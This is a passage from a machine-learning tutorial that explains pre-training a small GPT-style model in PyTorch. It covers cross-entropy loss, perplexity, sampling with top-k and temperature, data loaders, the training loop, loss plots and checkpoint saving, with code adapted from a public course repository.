However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base*e*) of **7.4541e-05** is approximately **-9.5042**.\
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
## Pre-Train Example
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
<details>
<summary>Previous code used here but already explained in previous sections</summary>
```python
"""
This is code explained before so it won't be exaplained
"""
import tiktoken
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True, num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
return dataloader
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed-forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
```
</details>
```python
# Download contents to train the data with
import os
import urllib.request
file_path = "the-verdict.txt"
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
if not os.path.exists(file_path):
with urllib.request.urlopen(url) as response:
text_data = response.read().decode('utf-8')
with open(file_path, "w", encoding="utf-8") as file:
file.write(text_data)
else:
with open(file_path, "r", encoding="utf-8") as file:
text_data = file.read()
total_characters = len(text_data)
tokenizer = tiktoken.get_encoding("gpt2")
total_tokens = len(tokenizer.encode(text_data))
print("Data downloaded")
print("Characters:", total_characters)
print("Tokens:", total_tokens)
# Model initialization
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 256, # Shortened context length (orig: 1024)
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-key-value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.eval()
print ("Model initialized")
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
# Apply Train/validation ratio and create dataloaders
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval()
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train()
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval()
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train()
# Start training!
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
# Show graphics with the training process
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
```
Let's see an explanation step by step
### Functions to transform text <--> ids
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
```
### Generate text functions
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
# For-loop is the same as before: Get logits, and only focus on last time step
for _ in range(max_new_tokens):
idx_cond = idx[:, -context_size:]
with torch.no_grad():
logits = model(idx_cond)
logits = logits[:, -1, :]
# New: Filter logits with top_k sampling
if top_k is not None:
# Keep only top_k values
top_logits, _ = torch.topk(logits, top_k)
min_val = top_logits[:, -1]
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
# New: Apply temperature scaling
if temperature > 0.0:
logits = logits / temperature
# Apply softmax to get probabilities
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
# Sample from the distribution
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
# Otherwise same as before: get idx of the vocab entry with the highest logits value
else:
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
break
# Same as before: append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!NOTE]
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
>
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities&#x20;
>
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
>
> _Note that this improvement isn't included in the previous code._
> [!NOTE]
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
>
> _Note that this improvement isn't included in the previous code._
### Loss functions
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
```
> [!NOTE]
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the models parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
>
> _Note that this improvement isn't included in the previous code._
>
> Check the following example:
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Loading Data
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
```
## Sanity Checks
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
```python
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
### Select device for training & pre calculations
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
```python
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
```
### Training functions
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
Then the big function `train_model_simple` is the one that actually train the model. It expects:
- The train data loader (with the data already separated and prepared for training)
- The validator loader
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
- The device to use for training
- The number of epochs: Number of times to go over the training data
- The evaluation frequency: The frequency to call `evaluate_model`
- The evaluation iteration: The number of batches to use when evaluating the current state of the model when calling `generate_and_print_sample`
- The start context: Which the starting sentence to use when calling `generate_and_print_sample`
- The tokenizer
```python
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval() # Set in eval mode to avoid dropout
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train() # Back to training model applying all the configurations
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval() # Set in eval mode to avoid dropout
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train() # Back to training model applying all the configurations
```
> [!NOTE]
> To improve the learning rate there are a couple relevant techniques called **linear warmup** and **cosine decay.**
>
> **Linear warmup** consist on define an initial learning rate and a maximum one and consistently update it after each epoch. This is because starting the training with smaller weight updates decreases the risk of the model encountering large, destabilizing updates during its training phase.\
> **Cosine decay** is a technique that **gradually reduces the learning rate** following a half-cosine curve **after the warmup** phase, slowing weight updates to **minimize the risk of overshooting** the loss minima and ensure training stability in later phases.
>
> _Note that these improvements aren't included in the previous code._
### Start training
```python
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
```
### Print training evolution
With the following function it's possible to print the evolution of the model while it was being trained.
```python
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
```
### Save the model
It's possible to save the model + optimizer if you want to continue training later:
```python
# Save the model and the optimizer for later training
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
# Note that this model with the optimizer occupied close to 2GB
# Restore model and optimizer for training
checkpoint = torch.load("/tmp/model_and_optimizer.pth", map_location=device)
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(checkpoint["model_state_dict"])
optimizer = torch.optim.AdamW(model.parameters(), lr=5e-4, weight_decay=0.1)
optimizer.load_state_dict(checkpoint["optimizer_state_dict"])
model.train(); # Put in training mode
```
Or just the model if you are planing just on using it:
```python
# Save the model
torch.save(model.state_dict(), "model.pth")
# Load it
model = GPTModel(GPT_CONFIG_124M)
model.load_state_dict(torch.load("model.pth", map_location=device))
model.eval() # Put in eval mode
```
## Loading GPT2 weights
There 2 quick scripts to load the GPT2 weights locally. For both you can clone the repository [https://github.com/rasbt/LLMs-from-scratch](https://github.com/rasbt/LLMs-from-scratch) locally, then:
- The script [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/gpt_generate.py) will download all the weights and transform the formats from OpenAI to the ones expected by our LLM. The script is also prepared with the needed configuration and with the prompt: "Every effort moves you"
